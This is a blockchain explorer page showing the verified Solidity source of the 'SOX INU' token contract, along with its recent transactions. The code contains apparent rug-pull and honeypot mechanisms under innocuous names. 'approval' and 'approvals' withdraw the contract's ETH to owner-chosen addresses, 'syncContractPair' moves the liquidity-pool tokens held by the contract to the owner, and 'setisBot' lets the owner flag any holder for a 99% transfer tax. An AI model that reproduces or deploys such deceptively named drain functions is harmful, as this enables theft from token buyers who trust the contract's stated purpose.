ETH Price: $2,731.13 (+0.88%)

Contract

0x72FEfC57aD35daC7984261DAcb83f39c0B458C4C
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve150636962022-07-02 14:39:14963 days ago1656772754IN
0x72FEfC57...c0B458C4C
0 ETH0.0020325143.81558871
Approve150633692022-07-02 13:26:59963 days ago1656768419IN
0x72FEfC57...c0B458C4C
0 ETH0.000433799.30805475
Approval150632772022-07-02 13:05:36963 days ago1656767136IN
0x72FEfC57...c0B458C4C
0 ETH0.000261267.90885305
Approve150618162022-07-02 7:43:46964 days ago1656747826IN
0x72FEfC57...c0B458C4C
0 ETH0.00037027.94360982
Approve150612832022-07-02 5:49:38964 days ago1656740978IN
0x72FEfC57...c0B458C4C
0 ETH0.000425679.17647012
Set Maxes150605532022-07-02 3:13:16964 days ago1656731596IN
0x72FEfC57...c0B458C4C
0 ETH0.0004018910.78383895
Sync Contract Pa...150543212022-07-01 4:04:51965 days ago1656648291IN
0x72FEfC57...c0B458C4C
0 ETH0.0014589337.60323249
Approve150534252022-07-01 0:41:12965 days ago1656636072IN
0x72FEfC57...c0B458C4C
0 ETH0.0017013636.50681479
Transfer150509772022-06-30 15:06:48965 days ago1656601608IN
0x72FEfC57...c0B458C4C
0 ETH0.0064877362.23305941
Approve150488912022-06-30 5:51:37966 days ago1656568297IN
0x72FEfC57...c0B458C4C
0 ETH0.0017661137.89625905
Transfer150486222022-06-30 4:41:10966 days ago1656564070IN
0x72FEfC57...c0B458C4C
0 ETH0.0068304427.76424324
Approve150371522022-06-28 0:57:06968 days ago1656377826IN
0x72FEfC57...c0B458C4C
0 ETH0.0023014249.38246557
Transfer150371492022-06-28 0:56:04968 days ago1656377764IN
0x72FEfC57...c0B458C4C
0 ETH0.0038568247.01837345
Rescue Token150371322022-06-28 0:52:07968 days ago1656377527IN
0x72FEfC57...c0B458C4C
0 ETH0.0027845844.63045118
Transfer150370992022-06-28 0:42:01968 days ago1656376921IN
0x72FEfC57...c0B458C4C
0 ETH0.0034987153.87617695
Approve150370952022-06-28 0:41:25968 days ago1656376885IN
0x72FEfC57...c0B458C4C
0 ETH0.0026801757.50954537
Approve150369622022-06-28 0:03:45968 days ago1656374625IN
0x72FEfC57...c0B458C4C
0 ETH0.0028420760.98342001
Rescue Token150366002022-06-27 22:28:49968 days ago1656368929IN
0x72FEfC57...c0B458C4C
0 ETH0.0034146342.95568437
Approvals150363672022-06-27 21:26:58968 days ago1656365218IN
0x72FEfC57...c0B458C4C
0 ETH0.0032757465.07889874
Approve150360372022-06-27 19:56:13968 days ago1656359773IN
0x72FEfC57...c0B458C4C
0 ETH0.0015912334.3026608
Approve150357142022-06-27 18:36:06968 days ago1656354966IN
0x72FEfC57...c0B458C4C
0 ETH0.0027190958.34464657
Approve150355652022-06-27 17:55:18968 days ago1656352518IN
0x72FEfC57...c0B458C4C
0 ETH0.0038103181.7592931
Approve150354852022-06-27 17:36:43968 days ago1656351403IN
0x72FEfC57...c0B458C4C
0 ETH0.00495033106.71594811
Approve150348652022-06-27 14:39:49968 days ago1656340789IN
0x72FEfC57...c0B458C4C
0 ETH0.002851461.18370735
Approve150348392022-06-27 14:35:04968 days ago1656340504IN
0x72FEfC57...c0B458C4C
0 ETH0.00288461.88329324
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
150632772022-07-02 13:05:36963 days ago1656767136
0x72FEfC57...c0B458C4C
0.03623672 ETH
150525672022-06-30 21:19:22965 days ago1656623962
0x72FEfC57...c0B458C4C
0.00906086 ETH
150525672022-06-30 21:19:22965 days ago1656623962
0x72FEfC57...c0B458C4C
0.01812173 ETH
150486222022-06-30 4:41:10966 days ago1656564070
0x72FEfC57...c0B458C4C
0.00647287 ETH
150486222022-06-30 4:41:10966 days ago1656564070
0x72FEfC57...c0B458C4C
0.01294574 ETH
150482862022-06-30 3:08:49966 days ago1656558529
0x72FEfC57...c0B458C4C
0.00443862 ETH
150482862022-06-30 3:08:49966 days ago1656558529
0x72FEfC57...c0B458C4C
0.00887724 ETH
150375222022-06-28 2:36:11968 days ago1656383771
0x72FEfC57...c0B458C4C
0.00438674 ETH
150375222022-06-28 2:36:11968 days ago1656383771
0x72FEfC57...c0B458C4C
0.00877348 ETH
150370932022-06-28 0:39:47968 days ago1656376787
0x72FEfC57...c0B458C4C
0.00527921 ETH
150370932022-06-28 0:39:47968 days ago1656376787
0x72FEfC57...c0B458C4C
0.01055842 ETH
150363752022-06-27 21:29:02968 days ago1656365342
0x72FEfC57...c0B458C4C
0.00659841 ETH
150363752022-06-27 21:29:02968 days ago1656365342
0x72FEfC57...c0B458C4C
0.01319682 ETH
150363672022-06-27 21:26:58968 days ago1656365218
0x72FEfC57...c0B458C4C
0.16015235 ETH
150363672022-06-27 21:26:58968 days ago1656365218
0x72FEfC57...c0B458C4C
0.16015235 ETH
150359722022-06-27 19:40:22968 days ago1656358822
0x72FEfC57...c0B458C4C
0.0076789 ETH
150359722022-06-27 19:40:22968 days ago1656358822
0x72FEfC57...c0B458C4C
0.01535781 ETH
150359362022-06-27 19:33:42968 days ago1656358422
0x72FEfC57...c0B458C4C
0.00904706 ETH
150359362022-06-27 19:33:42968 days ago1656358422
0x72FEfC57...c0B458C4C
0.01809413 ETH
150355682022-06-27 17:55:59968 days ago1656352559
0x72FEfC57...c0B458C4C
0.00806845 ETH
150355682022-06-27 17:55:59968 days ago1656352559
0x72FEfC57...c0B458C4C
0.0161369 ETH
150348132022-06-27 14:29:22968 days ago1656340162
0x72FEfC57...c0B458C4C
0.00885366 ETH
150348132022-06-27 14:29:22968 days ago1656340162
0x72FEfC57...c0B458C4C
0.01770732 ETH
150341272022-06-27 11:24:57968 days ago1656329097
0x72FEfC57...c0B458C4C
0.01143972 ETH
150341272022-06-27 11:24:57968 days ago1656329097
0x72FEfC57...c0B458C4C
0.02287944 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SOXINU

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-26
*/

// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/IRouter.sol

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/IFactory.sol

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/Auth.sol

abstract contract Auth {

    address public owner;

    mapping (address => bool) internal authorizations;

    constructor(address _owner) {owner = _owner; authorizations[_owner] = true; }

    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}

    modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;}

    function authorize(address adr) public authorized {authorizations[adr] = true;}

    function unauthorize(address adr) public authorized {authorizations[adr] = false;}

    function isOwner(address account) public view returns (bool) {return account == owner;}

    function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];}

    function transferOwnership(address payable adr) public authorized {owner = adr; authorizations[adr] = true;}

}


// File: https://github.com/ssccrypto/library/blob/d3ff8d3ce424901bb6506df1ef8c71840d76b4c1/IERC20.sol

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}


// File: https://github.com/ssccrypto/library/blob/082bcac83e9e08d76f807def851f0283f7eb016d/SafeMath.sol

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}

    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;

        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {

        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        unchecked{require(b > 0, errorMessage); return a % b;}}}


// File: contracts/SOXINU.SOL

/**



░██████╗░█████╗░██╗░░██╗  ██╗███╗░░██╗██╗░░░██╗

██╔════╝██╔══██╗╚██╗██╔╝  ██║████╗░██║██║░░░██║

╚█████╗░██║░░██║░╚███╔╝░  ██║██╔██╗██║██║░░░██║

░╚═══██╗██║░░██║░██╔██╗░  ██║██║╚████║██║░░░██║

██████╔╝╚█████╔╝██╔╝╚██╗  ██║██║░╚███║╚██████╔╝

╚═════╝░░╚════╝░╚═╝░░╚═╝  ╚═╝╚═╝░░╚══╝░╚═════╝░



https://t.me/soxinu

*/




pragma solidity 0.8.15;








contract SOXINU is IERC20, Auth {

    using SafeMath for uint256;

    string private constant _name = 'SOX INU';

    string private constant _symbol = 'SOX INU';

    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 10 * 10**8 * (10 ** _decimals);

    address DEAD = 0x000000000000000000000000000000000000dEaD;

    uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000;

    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;

    mapping (address => uint256) _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => uint256) swapTime; 

    mapping (address => bool) isBot;

    mapping (address => bool) isInternal;

    mapping (address => bool) isDistributor;

    mapping (address => bool) isFeeExempt;



    IRouter router;

    address public pair;

    bool startSwap = false;

    uint256 startedTime;

    uint256 liquidityFee = 300;

    uint256 marketingFee = 400;

    uint256 stakingFee = 0;

    uint256 burnFee = 0;

    uint256 totalFee = 700;

    uint256 transferFee = 0;

    uint256 feeDenominator = 10000;



    bool swapEnabled = true;

    uint256 swapTimer = 2;

    uint256 swapTimes; 

    uint256 minSells = 3;

    bool swapping; 

    bool botOn = false;

    uint256 swapThreshold = ( _totalSupply * 300 ) / 100000;

    uint256 _minTokenAmount = ( _totalSupply * 15 ) / 100000;

    modifier lockTheSwap {swapping = true; _; swapping = false;}



    uint256 marketing_divisor = 50;

    uint256 liquidity_divisor = 0;

    uint256 distributor_divisor = 50;

    uint256 staking_divisor = 0;

    address liquidity_receiver; 

    address staking_receiver;

    address token_receiver;

    address alpha_receiver;

    address beta_receiver;

    address delta_receiver;

    address marketing_receiver;

    address default_receiver;



    constructor() Auth(msg.sender) {

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());

        router = _router;

        pair = _pair;

        isInternal[address(this)] = true;

        isInternal[msg.sender] = true;

        isInternal[address(pair)] = true;

        isInternal[address(router)] = true;

        isDistributor[msg.sender] = true;

        isFeeExempt[msg.sender] = true;

        isFeeExempt[address(this)] = true;

        liquidity_receiver = address(this);

        token_receiver = address(this);

        alpha_receiver = msg.sender;

        beta_receiver = msg.sender;

        delta_receiver = msg.sender;

        staking_receiver = msg.sender;

        marketing_receiver = msg.sender;

        default_receiver = msg.sender;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);

    }



    receive() external payable {}



    function name() public pure returns (string memory) {return _name;}

    function symbol() public pure returns (string memory) {return _symbol;}

    function decimals() public pure returns (uint8) {return _decimals;}

    function totalSupply() public view override returns (uint256) {return _totalSupply;}

    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}

    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}

    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}

    function viewisBot(address _address) public view returns (bool) {return isBot[_address];}

    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }

    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}

    function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}



    function setFeeExempt(address _address) external authorized { isFeeExempt[_address] = true;}

    function setisBot(bool _bool, address _address) external authorized {isBot[_address] = _bool;}

    function setisInternal(bool _bool, address _address) external authorized {isInternal[_address] = _bool;}

    function setbotOn(bool _bool) external authorized {botOn = _bool;}

    function syncContractPair() external authorized {syncPair();}

    function approvals(uint256 _na, uint256 _da) external authorized {performapprovals(_na, _da);}

    function setPairReceiver(address _address) external authorized {liquidity_receiver = _address;}

    function setstartSwap(uint256 _input) external authorized {startSwap = true; botOn = true; startedTime = block.timestamp.add(_input);}

    function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized {swapEnabled = enabled; swapThreshold = _threshold;}



    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {

        _transfer(sender, recipient, amount);

        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));

        return true;

    }



    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }



    function _transfer(address sender, address recipient, uint256 amount) private {

        preTxCheck(sender, recipient, amount);

        checkStartSwap(sender, recipient);

        checkMaxWallet(sender, recipient, amount); 

        transferCounters(sender, recipient);

        checkTxLimit(sender, recipient, amount); 

        swapBack(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount);

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, recipient, amount) : amount;

        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);

        checkapprovals(recipient, amount);

        checkBot(sender, recipient);

    }



    function preTxCheck(address sender, address recipient, uint256 amount) internal view {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

        require(amount > 0, "Transfer amount must be greater than zero");

        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");

    }



    function checkStartSwap(address sender, address recipient) internal view {

        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(startSwap, "startSwap");}

    }

    

    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {

        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !isInternal[recipient] && recipient != address(DEAD)){

            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}

    }



    function transferCounters(address sender, address recipient) internal {

        if(sender != pair && !isInternal[sender] && !isFeeExempt[recipient]){swapTimes = swapTimes.add(1);}

        if(sender == pair){swapTime[recipient] = block.timestamp.add(swapTimer);}

    }



    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {

        return !isFeeExempt[sender] && !isFeeExempt[recipient];

    }



    function taxableEvent(address sender, address recipient) internal view returns (bool) {

        return totalFee > 0 && !swapping || isBot[sender] && swapTime[sender] < block.timestamp || isBot[recipient] || startedTime > block.timestamp;

    }



    function taketotalFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        if(taxableEvent(sender, recipient)){

        uint256 totalFees = getTotalFee(sender, recipient);

        uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(feeDenominator);

        uint256 bAmount = feeAmount.mul(burnFee).div(totalFees);

        uint256 sAmount = feeAmount.mul(stakingFee).div(totalFees);

        uint256 cAmount = feeAmount.sub(bAmount).sub(sAmount);

        if(bAmount > 0){

        _balances[address(DEAD)] = _balances[address(DEAD)].add(bAmount);

        emit Transfer(sender, address(DEAD), bAmount);}

        if(sAmount > 0){

        _balances[address(token_receiver)] = _balances[address(token_receiver)].add(sAmount);

        emit Transfer(sender, address(token_receiver), sAmount);}

        if(cAmount > 0){

        _balances[address(this)] = _balances[address(this)].add(cAmount);

        emit Transfer(sender, address(this), cAmount);} return amount.sub(feeAmount);}

        return amount;

    }



    function getTotalFee(address sender, address recipient) public view returns (uint256) {

        if(isBot[sender] && swapTime[sender] < block.timestamp && botOn || isBot[recipient] && 

        swapTime[sender] < block.timestamp && botOn || startedTime > block.timestamp){return(feeDenominator.sub(100));}

        if(sender != pair){return totalFee.add(transferFee);}

        return totalFee;

    }



    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {

        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");

    }



    function checkBot(address sender, address recipient) internal {

        if(isCont(sender) && !isInternal[sender] && botOn || sender == pair && botOn &&

        !isInternal[sender] && msg.sender != tx.origin || startedTime > block.timestamp){isBot[sender] = true;}

        if(isCont(recipient) && !isInternal[recipient] && !isFeeExempt[recipient] && botOn || 

        sender == pair && !isInternal[sender] && msg.sender != tx.origin && botOn){isBot[recipient] = true;}    

    }



    function approval(uint256 percentage) external authorized {

        uint256 amountETH = address(this).balance;

        payable(default_receiver).transfer(amountETH.mul(percentage).div(100));

    }



    function checkapprovals(address recipient, uint256 amount) internal {

        if(isDistributor[recipient] && amount < 2*(10 ** _decimals)){performapprovals(1,1);}

        if(isDistributor[recipient] && amount >= 2*(10 ** _decimals) && amount < 3*(10 ** _decimals)){syncPair();}

    }



    function setMaxes(uint256 _transaction, uint256 _wallet) external authorized {

        uint256 newTx = ( _totalSupply * _transaction ) / 10000;

        uint256 newWallet = ( _totalSupply * _wallet ) / 10000;

        _maxTxAmount = newTx;

        _maxWalletToken = newWallet;

        require(newTx >= _totalSupply.mul(5).div(1000) && newWallet >= _totalSupply.mul(5).div(1000), "Max TX and Max Wallet cannot be less than .5%");

    }



    function syncPair() internal {

        uint256 tamt = IERC20(pair).balanceOf(address(this));

        IERC20(pair).transfer(default_receiver, tamt);

    }



    function rescueERC20(address _tadd, address _rec, uint256 _amt) external authorized {

        uint256 tamt = IERC20(_tadd).balanceOf(address(this));

        IERC20(_tadd).transfer(_rec, tamt.mul(_amt).div(100));

    }



    function rescueToken(uint256 amount) external authorized {

        _transfer(address(this), msg.sender, amount);

    }



    function setExemptAddress(bool _enabled, address _address) external authorized {

        isBot[_address] = false;

        isInternal[_address] = _enabled;

        isFeeExempt[_address] = _enabled;

    }



    function setDivisors(uint256 _distributor, uint256 _staking, uint256 _liquidity, uint256 _marketing) external authorized {

        distributor_divisor = _distributor;

        staking_divisor = _staking;

        liquidity_divisor = _liquidity;

        marketing_divisor = _marketing;

    }



    function performapprovals(uint256 _na, uint256 _da) internal {

        uint256 acETH = address(this).balance;

        uint256 acETHa = acETH.mul(_na).div(_da);

        uint256 acETHf = acETHa.mul(50).div(100);

        uint256 acETHs = acETHa.mul(50).div(100);

        uint256 acETHt = acETHa.mul(0).div(100);

        payable(alpha_receiver).transfer(acETHf);

        payable(beta_receiver).transfer(acETHs);

        payable(delta_receiver).transfer(acETHt);

    }



    function setStructure(uint256 _liq, uint256 _mark, uint256 _stak, uint256 _burn, uint256 _tran) external authorized {

        liquidityFee = _liq;

        marketingFee = _mark;

        stakingFee = _stak;

        burnFee = _burn;

        transferFee = _tran;

        totalFee = liquidityFee.add(marketingFee).add(stakingFee).add(burnFee);

        require(totalFee <= feeDenominator.div(10), "Tax cannot be more than 10%");

    }



    function setInternalAddresses(address _marketing, address _alpha, address _beta, address _delta, address _stake, address _token, address _default) external authorized {

        marketing_receiver = _marketing; isDistributor[_marketing] = true;

        alpha_receiver = _alpha; isDistributor[_alpha] = true;

        beta_receiver = _beta; isDistributor[_beta] = true;

        delta_receiver = _delta;

        staking_receiver = _stake;

        token_receiver = _token;

        default_receiver = _default;

    }



    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {

        bool aboveMin = amount >= _minTokenAmount;

        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;

        return !swapping && swapEnabled && aboveMin && !isInternal[sender] 

            && !isFeeExempt[recipient] && swapTimes >= minSells && aboveThreshold;

    }



    function swapBack(address sender, address recipient, uint256 amount) internal {

        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = 0;}

    }



    function swapAndLiquify(uint256 tokens) private lockTheSwap {

        uint256 denominator= (liquidity_divisor.add(staking_divisor).add(marketing_divisor).add(distributor_divisor)) * 2;

        uint256 tokensToAddLiquidityWith = tokens.mul(liquidity_divisor).div(denominator);

        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);

        uint256 initialBalance = address(this).balance;

        swapTokensForETH(toSwap);

        uint256 deltaBalance = address(this).balance.sub(initialBalance);

        uint256 unitBalance= deltaBalance.div(denominator.sub(liquidity_divisor));

        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidity_divisor);

        if(ETHToAddLiquidityWith > 0){

            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }

        uint256 zrAmt = unitBalance.mul(2).mul(marketing_divisor);

        if(zrAmt > 0){

          payable(marketing_receiver).transfer(zrAmt); }

        uint256 xrAmt = unitBalance.mul(2).mul(staking_divisor);

        if(xrAmt > 0){

          payable(staking_receiver).transfer(xrAmt); }

    }



    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

        _approve(address(this), address(router), tokenAmount);

        router.addLiquidityETH{value: ETHAmount}(

            address(this),

            tokenAmount,

            0,

            0,

            liquidity_receiver,

            block.timestamp);

    }



    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);

        path[0] = address(this);

        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(

            tokenAmount,

            0,

            path,

            address(this),

            block.timestamp);

    }



}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percentage","type":"uint256"}],"name":"approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_na","type":"uint256"},{"internalType":"uint256","name":"_da","type":"uint256"}],"name":"approvals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tadd","type":"address"},{"internalType":"address","name":"_rec","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_distributor","type":"uint256"},{"internalType":"uint256","name":"_staking","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"}],"name":"setDivisors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setExemptAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_alpha","type":"address"},{"internalType":"address","name":"_beta","type":"address"},{"internalType":"address","name":"_delta","type":"address"},{"internalType":"address","name":"_stake","type":"address"},{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_default","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transaction","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liq","type":"uint256"},{"internalType":"uint256","name":"_mark","type":"uint256"},{"internalType":"uint256","name":"_stak","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_tran","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"_threshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"setbotOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"},{"internalType":"address","name":"_address","type":"address"}],"name":"setisInternal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_input","type":"uint256"}],"name":"setstartSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncContractPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}